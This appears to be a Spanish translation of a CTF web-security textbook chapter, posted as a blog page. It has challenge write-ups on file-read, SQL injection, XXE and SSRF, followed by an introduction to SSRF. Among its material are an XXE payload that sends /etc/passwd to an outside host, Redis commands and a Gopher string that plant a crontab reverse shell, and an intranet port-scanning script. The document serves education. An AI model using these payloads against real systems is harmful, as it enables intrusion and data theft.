from ds_store import DSStore with DSStore.open("DS_Store", "r+") as f: for i in f: print(i)
Se encontró un espacio adicional al final del nombre del directorio de carga y se sospechó que podría utilizarse una vulnerabilidad en el análisis de Nginx (CVE-2013-4547) para eludir las restricciones de permisos del directorio 'pwnhub'. La idea es explotar la vulnerabilidad de análisis de Nginx para no coincidir con la expresión regular /pwnhub en el archivo de configuración de Nginx (ver Fig. 1.78).
Dentro del directorio /pwnhub, existe un directorio del mismo nivel en el que se encuentra un archivo PHP. Al solicitar el archivo PHP, se encuentra un formulario de carga. (Ver Fig. 1.79).
Se carga un archivo TAR a través del archivo PHP y se descubre que la aplicación descomprime automáticamente el archivo cargado (tarfile.open), lo que permite construir un enlace simbólico local llamado xxx.cfg, comprimirlo con el comando tar y subir el paquete TAR. Luego se obtiene un enlace suave al contenido del archivo (ver Fig. 1.80).
Leyendo /etc/crontab se revela que se ha iniciado una tarea cron extraña en crontab:
30 * * * * root sh /home/jdoajdoiq/jdijiqjwi/jiqji12i3198ua x192/cron_run.sh
Se lee el script sh llamado en crontab y se encuentra un script de Python en funcionamiento; luego se lee el script de Python para obtener la cuenta y contraseña de correo filtrados, se inicia sesión en el correo y se obtiene la cuenta y contraseña filtradas de la VPN (ver Fig. 1.81).
Después de conectarse con éxito a la VPN, se escanea la intranet de la VPN y se encuentra la aplicación Discuz!X 3.4 implementada y un servicio de lectura de banderas. Se utiliza una vulnerabilidad de eliminación de archivos arbitrarios de Discuz!X 3.4 para eliminar safe.php (ver Fig. 1.82).
En resumen, el proceso de resolución del desafío es largo y los jugadores deben tener ideas claras. Además de la travesía de directorios causada por una configuración inadecuada de Nginx, también existen vulnerabilidades históricas que pueden filtrar información. La idea de resolver este problema se muestra en la Fig. 1.83. Hay muchos desafíos para leer archivos arbitrarios mediante la construcción de enlaces simbólicos, como el extract0r de 34c3CTF, que no se describen en detalle aquí.
1.3.3.9 Comentario (NetDing Cup 2018 en línea) - Comienza con una página de inicio de sesión (ver Fig. 1.84). En el sitio web del desafío, se encuentra un directorio .git. El código fuente del programa se puede restaurar mediante la herramienta GitHack y, al auditar el código fuente restaurado, se descubre una inyección secundaria (ver Fig. 1.85).
【Dificultad】 Moderada.
【Conocimiento】 Fuga de código fuente causada por el directorio .git no eliminado; inyección secundaria (MySQL); leer contenido de archivos a través de una vulnerabilidad de inyección (load_file) (.bash_history->.DS_Store->bandera) 【Resolución del desafío】 Se utiliza el módulo Intruder de BurpSuite para realizar un ataque de fuerza bruta de 3 bytes después de la contraseña, con los ajustes de parámetros mostrados en la Figura 1.86.
Se restaura el código fuente de la aplicación mediante la filtración del directorio git, se encuentra la inyección SQL (inyección secundaria) a través de la auditoría del código fuente y se explota la vulnerabilidad de inyección. Sin embargo, se descubre que no hay bandera en la base de datos. Se intenta usar load_file para leer el contenido
del archivo /etc/passwd y se tiene éxito. Se registra el nombre de usuario "www" y su directorio de trabajo: /home/www/. Se lee /home/www/.bash_history para encontrar los comandos históricos del servidor:
cd /tmp/
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start
Siguiendo la pista del contenido del archivo .bash_history, se lee /tmp/.DS_Store, se encuentra y se lee el archivo de bandera flag_8946e1ff1ee3e40f.php (nota que aquí se necesita codificar el resultado de load_file, por ejemplo, usando la función hex de MySQL).
【Resumen】 Este desafío es una cadena típica de lectura de archivos y explotación. Después de explotar la inyección de MySQL, se debe filtrar más información de directorios a través de .bash_history y luego leer otros archivos en la información recopilada.
1.3.3.10 Proyecto Ark (CISCN 2017) - El servicio de este desafío incluye funciones de registro e inicio de sesión. Después de iniciar sesión con la cuenta de administrador, puedes cargar archivos AVI y convertir automáticamente los archivos AVI cargados en archivos MP4.
【Dificultad】 Fácil.
【Conocimiento】 Usar comentarios en línea para evadir el WAF de inyección SQL; explotar una vulnerabilidad de FFMPEG para leer archivos arbitrarios.
【Resolución del desafío】 Al encontrarte con un desafío web CTF con funciones de inicio de sesión y registro, primero intenta una inyección SQL. Mediante pruebas de caja negra, se encuentra que existen vulnerabilidades de inyección INSERT en la etapa de registro. Al profundizar en la explotación, se descubre que hay un WAF, y luego se utilizan comentarios en línea para evadir el WAF (/ !50001select/), ver Figura 1.87.
Continúa obteniendo datos a través de la vulnerabilidad de inyección, obtén la cuenta de administrador, la contraseña cifrada y la clave de cifrado (st_key), y obtén la contraseña en texto plano mediante la desencriptación AES.
Usa el nombre de usuario y la contraseña inyectados para iniciar sesión en la cuenta de administrador y encuentra la función de conversión de formato de video en la página de administrador. Se sospecha que el contenido del desafío es una vulnerabilidad de lectura de archivos arbitrarios de FFMPEG.
Usa un script de exploit conocido para generar un archivo AVI malicioso y cargarlo, descarga el video convertido y reproduce el video para descubrir que se puede leer exitosamente el contenido del archivo (/etc/passwd), como se muestra en la Figura 1.88.
Según el contenido del archivo /etc/passwd, se encontró un usuario llamado "s0m3b0dy", y se supuso que la bandera está en su directorio de usuario, es decir, /home/s0m3b0dy/flag(.txt). Se continúa leyendo la bandera a través de la vulnerabilidad de lectura de archivos de FFMPEG y se encuentra que se obtuvo con éxito, ver Figura 1.89.
【Resumen】 ① Este desafío utiliza un método típico para evadir el WAF de inyección SQL (comentarios en línea).
② Este desafío sigue de cerca los problemas de seguridad más candentes, y los resultados de la lectura de archivos se presentan de una manera novedosa e interesante. El principio de la vulnerabilidad de lectura de archivos arbitrarios de FFMPEG radica principalmente en que el protocolo HLS (HTTP Live Streaming) admite el protocolo File, lo que permite la capacidad de leer archivos en el video.
Otro concurso distintivo de lectura de archivos y presentación de efectos es la Competición de la Universidad de Correos y Telecomunicaciones de Nanjing en 2018, que desafió el uso de PHP para generar imágenes de manera dinámica. El contenido leído por la vulnerabilidad de lectura de archivos puede adjuntarse a la imagen durante la explotación. Ver Figura 1.90.
1.3.3.11 PrintMD (RealWorldCTF 2018 en línea) 【Introducción】 La función proporcionada por el desafío puede renderizar el contenido del editor en línea Markdown (hackmd) en una forma imprimible. Los métodos de renderización se dividen en renderización local del lado del cliente y renderización remota del lado del servidor.
El cliente puede realizar la depuración local, y el código para la parte de renderización remota del servidor es el siguiente:
// render.js
const { Router } = require('address');
const { matchesUA } = require('browserslist-useragent');
const router = Router();
const axios = require('axios');
const md = require('... /.. /plugins/md_srv');
router.post('/render', function (req, res, next) {
let ret = {};
ret.ssr = !matchesUA(req.body.ua, {
browsers: ["last 1 version", "> 1%", "IE 10"],
_allowHigherVersions: true
});
if (ret.ssr) {
axios(req.body.url).then(r => {
ret.mdbody = md.render(r.data);
res.json(ret);
});
} else {
ret.mdbody = md.render('# Please wait...');
res.json(ret);
}
});
module.exports = router;
El entorno Docker existe en el servidor, y el servicio Docker se ha iniciado.
La ruta de la bandera en el servidor es /f l ag.
【Dificultad】 Difícil.
【Conocimiento】 Polución de prototipos de JavaScript; Ataque SSRF (Socket UNIX) en la API de Docker para leer archivos locales.
【Resolución del desafío】 Auditar el código del lado del cliente que está ofuscado por Webpack, encontrar la lógica relacionada con la comunicación del lado del servidor en la aplicación y desofuscar el código ofuscado. El código fuente obtenido es el siguiente:
validate: function(e) {
return e.query.url && e.query.url.starsWith("https://hackmd.io/");
},
asyncData: function(ctx) {
if (!ctx.query.url.endsWith("/download")) {
ctx.query.url += "/download";
}
ctx.query.ua = ctx.req.headers["user-agent"] || "";
return axios.post("/api/render", qs.stringify({...ctx.query}))
.then(function(e) {
return { ...e.data, url: ctx.query.url };
});
},
mounted: function() {
if (!this.ssr) {
axios(this.url).then(function(t) {
this.mdbody = md.render(t.data);
});
}
}
Luego, usa la polución de parámetros HTTP para evadir las restricciones de startsWith y, al mismo tiempo, utiliza la polución de prototipos en req.body.url (servidor), para que el servidor Axios se pase al parámetro socketPath y url cuando se realiza la solicitud. Luego, aprovecha la vulnerabilidad de SSRF para atacar la API de Docker, trae /f l ag al contenedor de Docker y llama a la API de Docker para leer los archivos en Docker.
El proceso de ataque específico es el siguiente:
Extrae una imagen liviana: docker pull alpine:latest
Crea un contenedor: docker create -v /f l ag:/f l agindocker alpine --entrypoint "/bin/sh" --name ctf alpine:latest
Inicia el contenedor: docker start ctf
Recupera el archivo de la bandera dentro del contenedor: docker cp ctf:/f l agindocker ./flag.txt
【Resumen】 El desafío es muy delicado y novedoso. Debido a que Axios no admite el protocolo File, los jugadores deben usar SSRF para controlar otras aplicaciones en el servidor y leer archivos. Similar al módulo Axios, que puede llevar a cabo comunicaciones a través de Socket UNIX, también existe el componente curl.
1.3.3.12 El descuidado Jia Jia (PWNHUB) 【Introducción】 La entrada es un servicio de Drupal. Al recopilar información, se descubre que el servicio FTP está abierto en el puerto 23 del servidor y que tiene una contraseña débil. Después de usar la contraseña débil para iniciar sesión en FTP, se encuentra el código fuente de un complemento de Drupal en el directorio FTP y hay una vulnerabilidad de inyección SQL en el complemento de Drupal. También había una computadora con Windows en la intranet y el puerto 80 (servicio web) estaba abierto.
【Dificultad】 Moderada.
【Conocimiento】 Ataque de Padding Oracle; Vulnerabilidad de deserialización de Drupal 8.x; Técnicas de explotación especiales para Inclusión de Archivos/lectura de archivos locales en PHP de Windows.
【Resolución del desafío】 Según la pista del desafío, se intenta crackear violentamente la contraseña de inicio de sesión FTP y se descubre que FTP tiene una contraseña de inicio de sesión débil. Al auditar el código fuente del complemento descargado, se revela una vulnerabilidad de inyección SQL. Sin embargo, la entrada del usuario debe ser descifrada en modo AES-CBC antes de incorporarse a las declaraciones SQL.
private function set_decrypt($id) {
if ($c = base64_decode(base64_decode($id))) {
if ($iv = substr($c, 0, 16)) {
if ($pass = substr($c, 17)) {
if ($u = openssl_decrypt($pass, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)) {
return $u;
} else {
die("hacker?");
}
} else {
return 1;
}
} else {
return 1;
}
} else {
return 1;
}
}
public function get_by_id(Request $request) {
$nid = $request->get('id');
$nid = $this->set_decrypt($nid);
//echo $nid;
$this->waf($nid);
$query = db_query("SELECT nid, title, body_value FROM node_f i eld_data left JOIN node__body ON node_f i eld_data.nid=node__body.entity_id WHERE nid = {$nid}")->fetchAssoc();
return array(
'#title' => $this->t($query['title']),
'#markup' => '<p>' . $this->t($query['body_value']) . ' </p>',
);
}
Al auditar el proceso de encriptación, se descubrió que el texto secreto de la declaración de inyección SQL podría ser falsificado mediante un ataque de Padding Oracle, ver Figura 1.91, y la vulnerabilidad de inyección SQL continuó siendo explotada para obtener el buzón de correo y la contraseña del buzón de correo del usuario, ver Figura 1.92.
Usando la información del buzón para iniciar sesión, obtenemos la dirección filtrada en línea filtrada en el buzón, la abrimos para restaurar la versión histórica y encontramos la contraseña del administrador. La contraseña del administrador recuperada se utiliza para iniciar sesión en el sistema administrativo de Drupal, y la información en el sistema administrativo determina la versión correspondiente de Drupal, y se encuentra una vulnerabilidad de deserialización. El resultado de construir una carga deserializada para ejecutar la función phpinfo se muestra en la Figura 1.93.
Después de obtener el permiso para ejecutar códigos arbitrarios, se puede escanear la intranet y se encuentra un host de Windows con un servicio web que incluye una vulnerabilidad de lectura de archivos. Continúe probando y encuentre un cierto WAF, es decir, los archivos con nombres de archivos peligrosos no se pueden cargar. Use "<" como comodín de nombre de archivo para evadir el WAF, como "123333<.txt".
【Resumen】 El Ataque de Padding Oracle es un ataque común de seguridad web combinado con criptografía, que necesita ser aprendido. Los archivos PHP de Windows pueden ser incluidos/leídos usando comodines, una técnica para leer archivos cuando no conocemos el nombre del archivo en el directorio o cuando el WAF ha establecido ciertas reglas para interceptarlo. Las reglas de comodín correspondientes son las siguientes: en Windows, ">" es equivalente al comodín regular "?", "<" es equivalente a "*", """ es equivalente a ".".
1.3.3.13 Instituciones educativas 【Introducción】 El servidor del desafío tiene un cuadro de comentarios. El cuadro de comentarios admite sintaxis XML, que puede causar XXE; la mitad de las banderas se almacenan en el archivo de configuración; hay un servicio web en la intranet.
【Dificultad】 Moderada.
【Conocimiento】 Usar la vulnerabilidad XXE para leer archivos y realizar ataques SSRF.
【Resolución del desafío】 Al escanear el directorio de la aplicación del sitio web, se descubrió que el archivo .idea/workspace.xml del sitio web podía filtrarse, y en workspace.xml, había un párrafo de variables de entidad XML que estaba comentado.
El desafío solo tiene un punto de entrada, el comentario, por lo que probamos si existe una vulnerabilidad XXE (entrada XML de encabezado "<?xml version¼“1.0” encoding¼“utf-8”?>", se puede observar un error en la respuesta), ver Figura 1.94.
La existencia de la vulnerabilidad XXE se confirma básicamente por la función simplexml_load_string que se muestra en el mensaje de error correspondiente, y luego se intenta construir una llamada de entidad remota para implementar la explotación ciega de XXE. Los datos del exploit construido son los siguientes:
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://ip/test/?xxe_local=%payload;'>"> %int; %trick;
Según el mensaje de error al probar la existencia de XXE, se puede encontrar la ubicación del directorio web, leer el código fuente de la aplicación web utilizando la vulnerabilidad XXE y encontrar que la mitad del contenido de la bandera existe en el archivo conf i g.php.
#/var/www/52dandan.cc/public_html/config.php <?php ...
define(SECRETFILE,'/var/www/52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431');
...
?>
#youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431 Ok, tienes la primera parte de la bandera: 5bdd3b0ba1fcb40. Luego puedes hacer más cosas para obtener más partes de la bandera. Luego puedes buscar la otra mitad de la bandera y fallar. Luego adivinamos que la otra mitad de la bandera está en la intranet, por lo que podemos leer /etc/host y /proc/net/arp para obtener la IP de la intranet: 192.168.223.18.
Explotando la vulnerabilidad XXE para acceder al puerto 80 de 192.168.223.18 (también puedes hacer un escaneo de puertos, solo adivina los puertos comunes aquí), se encuentra un servicio web y una inyección SQL en el host 192.168.223.18. Usa la inyección ciega para obtener la otra mitad de la bandera.
```xml
<!ENTITY % payload SYSTEM "http://192.168.223.18/test.php?shop=3'-(case%a0when((1)like(1))then(0)else(1)end)-'1">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://ip/test/?xxe_local=%payload;'>">
%int;
%trick;
【Resumen】 Este desafío examina el método de lectura de archivos y utilización de la vulnerabilidad de XXE en PHP. El protocolo admitido por la extensión XML de diferentes lenguajes puede ser diferente. PHP retiene de manera muy distintiva el protocolo PHP, por lo que se puede usar el filtro Base64 para codificar el contenido del archivo y evitar que la explotación ciega de XXE falle debido a caracteres especiales como "&" y "<", lo que puede llevar al fallo en la explotación de la vulnerabilidad.
1.3.3.14 Túnel Mágico (RealworldCTF 2018) 【Introducción】 Usando el marco de trabajo Django para construir un servicio web que utiliza pycurl para solicitar enlaces entrantes de los usuarios. El código fuente para la sección de enlaces de la solicitud es el siguiente.
...
def download(self, url):
try:
c = pycurl.Curl()
c.setopt(pycurl.URL, url)
c.setopt(pycurl.TIMEOUT, 10)
response = c.perform_rb()
c.close()
except pycurl.error:
response = b''
return response
【Dificultad】 Difícil.
【Conocimiento】 Ataque en uwsgi a través de una vulnerabilidad SSRF.
【Resolución del desafío】 Para leer el archivo:///proc/mounts a través de la vulnerabilidad de lectura de archivos, puede ver el estado de montaje del directorio Docker, como se muestra en la Figura 1.95. Después de encontrar con éxito el directorio, se puede leer el código fuente completo de la aplicación a través de la vulnerabilidad de lectura de archivos.
#! /bin/sh
BASE_DIR=$(pwd)
. /manage.py collectstatic --no-input
. /manage.py migrate --no-input
exec uwsgi --socket 0.0.0.0:8000 --module rwctf.wsgi --chdir ${BASE_DIR} --uid nobody --gid nogroup --cheaper-algo spare --cheaper 2 --cheaper-initial 4 --workers 10 --cheaper-step 1
Ataque uwsgi aprovechando el protocolo Gopher a través de una vulnerabilidad SSRF (inyectar SCRIPT_NAME para ejecutar scripts Python maliciosos o usar EXEC para ejecutar comandos del sistema).
【Resumen】 Este desafío necesita leer cualquier archivo a través del protocolo File para completar la recopilación de información en el servidor, es decir, filtrar la ruta de la aplicación a través de /proc/mounts, para saber qué archivo leer en el siguiente paso.
1.3.3.15 ¿Puedes Encontrarme? (WHUCTF 2019) 【Introducción】 Hay una evidente vulnerabilidad de inclusión de archivos en el desafío, pero la información conocida es la ruta relativa de la bandera... /.. /flag, y se encuentra un WAF al explotar la vulnerabilidad de inclusión de archivos, que prohíbe el salto de rutas relativas.
<?php
error_reporting(0);
$file_name = @$_GET['file'];
if (preg_match('/\.\.\//', $file_name) !== 0) {
die("<h1> Los nombres de archivo no pueden tener '...' </h1>");
}
...
【Dificultad】 Fácil.
【Conocimiento】 Vulnerabilidades de lectura de archivos.
【Resolución del desafío】 Encuentra el directorio web leyendo el archivo de configuración de Apache. Ver Figura 1.96. Una vez que se conoce el directorio web, se puede construir la ruta absoluta del archivo de la bandera directamente desde el directorio web para evadir la restricción de ruta relativa y leer la bandera, ver Figura 1.97.
【Resumen】 Este es un desafío clásico de lectura de archivos. Examina principalmente la capacidad de los jugadores para recopilar información sobre archivos de configuración web. Debes encontrar directorios web leyendo archivos de configuración de Apache. Al construir rutas absolutas, puedes evadir las restricciones de rutas relativas para obtener el archivo de la bandera.
Resumen:
Entre los desafíos web de CTF, las vulnerabilidades más comunes y fundamentales incluyen la recopilación de información, la inyección SQL y las vulnerabilidades de lectura de archivos arbitrarios. Al enfrentar desafíos de tipo web en competencias, es recomendable primero determinar si las vulnerabilidades web mencionadas anteriormente están presentes en el desafío y luego proceder a completarlo.
Los capítulos 2 y 3 presentarán otras vulnerabilidades comunes que caen en los niveles "avanzado" y "extendido" en los desafíos web. Las vulnerabilidades en el nivel "avanzado" requieren que los lectores tengan una base y experiencia sólidas, involucrando vulnerabilidades más complejas y aspectos técnicos. El nivel "extendido" abarca características adicionales relacionadas con los desafíos web, como problemas de seguridad en Python.
A través del estudio del Capítulo 1, es posible que hayas obtenido una comprensión básica de los desafíos web. Sin embargo, en las competencias reales, los desafíos a menudo están compuestos por múltiples vulnerabilidades, y las vulnerabilidades web mencionadas en el Capítulo 1 a menudo son la parte introductoria de algunos desafíos complejos. Por ejemplo, se obtiene la
contraseña del sistema backend mediante inyección SQL, y existen vulnerabilidades de carga en el sistema backend. Cómo eludir la carga de un webshell para obtener la bandera se convierte en la clave.
Este capítulo presentará a los lectores cuatro tipos de vulnerabilidades web con diversas técnicas de explotación y alta frecuencia de aparición en competencias: vulnerabilidades SSRF, vulnerabilidades de ejecución de comandos, vulnerabilidades XSS y vulnerabilidades de carga de archivos. Espero que los lectores puedan reflexionar
sobre cómo encontrar vulnerabilidades "avanzadas" después de descubrir vulnerabilidades "introductorias" en el proceso de aprendizaje de este capítulo. Comprender las causas y consecuencias de estas vulnerabilidades nos permite comprender mejor estas vulnerabilidades "avanzadas". Tal conexión y combinación también contribuyen a la formación de ideas para resolver desafíos web.
2.1 Vulnerabilidades SSRF Las vulnerabilidades SSRF (Server Side Request Forgery) son una vulnerabilidad que permite
a un atacante forjar una solicitud en el lado del servidor mediante la construcción de una entrada. Debido a que las solicitudes se originan internamente, las vulnerabilidades SSRF generalmente apuntan a sistemas internos inaccesibles desde fuera de la red.
Las vulnerabilidades SSRF a menudo ocurren porque el lado del servidor puede recuperar datos de servicios externos pero no filtra ni restringe parámetros esenciales como direcciones de destino y protocolos, lo que permite a un atacante construir parámetros e iniciar solicitudes no anticipadas libremente.
2.1.1 Análisis del Principio de SSRF La estructura de la URL es la siguiente.
URI = esquema:[//autoridad]ruta[?consulta][#fragmento] El componente de autoridad se divide en las siguientes tres partes (ver Figura 2.1).
[userinfo@]anfitrión[:puerto]
Un esquema consta de una cadena de caracteres insensibles a mayúsculas y minúsculas que representan el protocolo necesario para obtener un recurso.
En la autoridad, userinfo se encuentra con menos frecuencia. Es una opción, pero HTTP generalmente utiliza formas anónimas para recuperar datos, y si se requiere autenticación, el formato es nombre de usuario:contraseña, terminando con @.
El anfitrión indica el servidor en el que se accede al recurso, generalmente visto en forma de nombres de dominio, como baidu.com, pero también en forma de direcciones IPv4, IPv6.
El puerto es el puerto del servidor. Cada protocolo tiene un puerto predeterminado, como el 80 para HTTP y el 21 para FTP.
La ruta es la ruta al recurso, generalmente usando "/" para la jerarquía.
Una consulta es una cadena de consulta que el usuario pasa al servidor como datos de entrada de usuario, representados por "?" como una representación. Por ejemplo, el nombre de usuario y la contraseña pasados al servidor son "?nombre de usuario=admin&contraseña=admin123"
Un fragmento es un identificador de fragmento que, a diferencia de una consulta, no se pasa al servidor y generalmente se utiliza para representar un punto de anclaje en una página.
Comprender la construcción de URL puede ser muy útil para comprender cómo eludir y cómo explotarlas.
Tomemos PHP como ejemplo, supongamos que hay un servicio que solicita una imagen remota y la muestra de la siguiente manera.
<?php $url = $_GET['url'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$res = curl_exec($ch);
header('content-type: image/png');
curl_close($ch);
echo $res;
?>
Si el parámetro URL es la dirección de una imagen, la imagen se imprimirá directamente, ver Figura 2.2.
Sin embargo, dado que el parámetro URL para obtener la dirección de la imagen no se filtra de ninguna manera, un atacante puede lanzar un ataque SSRF modificando la dirección o el protocolo. Por ejemplo, modificar la URL solicitada a f i le:///etc/passwd utilizará el protocolo FILE para leer el contenido del archivo /etc/passwd (el tipo más común de ataque),
ver Figura 2.3.
2.1.2 Encontrar y Probar Vulnerabilidades SSRF Las vulnerabilidades SSRF generalmente se encuentran en escenarios donde hay llamadas a recursos externos, como funciones de uso compartido de servicios sociales, servicios de reconocimiento de imágenes, servicios de captura de sitios web, solicitudes de recursos remotos (por ejemplo, xmlrpc.php de WordPress), servicios de procesamiento de
archivos (por ejemplo, análisis XML), etc. Al probar aplicaciones con vulnerabilidades SSRF, puedes intentar controlar y admitir protocolos estándar, que incluyen, pero no se limitan a, los siguientes.
• f i le://: Obtener el contenido de un archivo del sistema de archivos, como f i le:///etc/passwd.
• dict://: El protocolo del servidor de diccionario permite al cliente acceder a más fuentes de diccionario. La versión del servicio que se ejecuta en el servidor objetivo se puede obtener en SSRF, ver Figura 2.4.
• gopher://: El servicio de entrega de
documentos distribuidos desempeña un papel esencial en los ataques de vulnerabilidad SSRF. Al usar el protocolo Gopher, es posible enviar contenido arbitrario al servidor especificado controlando la URL de acceso, como solicitud HTTP, solicitud MySQL, etc. Por lo tanto, su superficie de ataque es amplia.
2.1.3 Modo de Ataque de Vulnerabilidad SSRF 2.1.3.1 Detección de Activos de Servicio Interno Una vulnerabilidad SSRF puede detectar directamente la apertura de un puerto del servidor o incluso activos de intranet donde se encuentra un sitio web. Si se determina que existe una vulnerabilidad SSRF, se puede determinar la apertura del servicio al determinar el éxito o el fracaso de la solicitud devuelta. Por ejemplo, se puede escribir un exploit simple en Python.
encoding: utf-8
import requests as req
import time
ports = ['80', '3306', '6379', '8080', '8000']
session = req.Session()
for i in range(255):
ip = '192.168.80.%d' % i
for port in ports:
url = 'http://example.com/?url=http://%s:%s' % (ip, port)
try:
res = session.get(url, timeout=3)
if len(res.content) > 0:
print(ip, port, 'is open')
except:
continue
print('DONE')
Los resultados de la ejecución se muestran en la Figura 2.5.
2.1.3.2 Ampliación de la Superficie de Ataque Utilizando el Protocolo Gopher
Ataque a Redis
Redis generalmente se ejecuta en una intranet y la mayoría de los usuarios lo vinculan a 127.0.0.1:6379, que generalmente está vacío. Un atacante que obtenga acceso no autorizado a Redis a través de una vulnerabilidad SSRF puede ser capaz de agregar, verificar, eliminar o cambiar el contenido de Redis, e incluso escribir en Crontab, Webshell y claves públicas de SSH utilizando la función de exportación (el
propietario del archivo escrito utilizando la función de exportación es el usuario de inicio de Redis, que generalmente es root, y no podrá hacerlo si el usuario de inicio tiene privilegios bajos) (Ataque).
Si una instrucción es incorrecta, leerá la siguiente, por lo que si puedes controlar una de las líneas en el mensaje que envías, puedes modificarla a una instrucción de Redis y ejecutar la instrucción en lotes para completar el ataque. Si puedes controlar varias líneas de mensajes, entonces puedes completar el ataque en una sola conexión.
En un ataque a Redis, generalmente un write para rebotar el shell de Crontab, el flujo de ataque habitual es el siguiente:
redis-cli f l ushall echo -e "\n\n\n*/1 * * * * bash -i /dev/tcp/172.28.0.3/1234 0>&1\n\n" | redis-cli -x set 1
redis-cli conf i g set dir /var/spool/cron/
redis-cli conf i g set dbf i lename root
redis-cli save
En este punto, usamos socat para recuperar el paquete con el siguiente comando:
scoat -v tcp-listen:1234,fork tcp-connect:localhost:6379
Reenviando el puerto local 1234 al puerto 6379 y luego ejecutando las instrucciones del proceso de ataque, a su vez, obtendrá los datos del ataque, ver Figura 2.6.
Luego, convierte los datos en URLs del protocolo Gopher descartando los datos que comienzan con “>” y “<”, que indican la solicitud y el retorno, y descartando los datos +OK, que indican el mensaje de retorno. En los datos restantes, reemplaza “\r” con “%0d” y “\n” (un salto de línea) con “%0a”, donde “$” está codificado en URL para dar la siguiente cadena.
1%0d%0a%248%0d%0af l ushall%0d%0a3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2456%0d%0a
%0a%0a*/1%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/172.28.0.3/1234%200>&1%0a%0a%0d%0a%0a%0a4%0d%0a%246%0d%0aconf i g%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2416%0d%0a/var/spool/cron/%0d%0a4%0d%0a%246%0d%0aconf i g%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbf i lename%0d%0a%244%0d%0aroot%0d%0a*1%0d%0a%244%0d%0asave%0d%0a
Si deseas cambiar la IP y el puerto de rebote directamente en esta cadena, debes cambiar el “$56” precedente al mismo tiempo, donde “56” es la longitud del comando escrito en Crontab. Por ejemplo, la cadena sería d\n\n*/1 * * * * bash -i >& /dev/tcp/172.28.0.3/1234 0>&1 d\n\n Para cambiar la IP de rebote a 172.28.0.33, debes cambiar “56” a “57” (56+1).
Comentarios
Publicar un comentario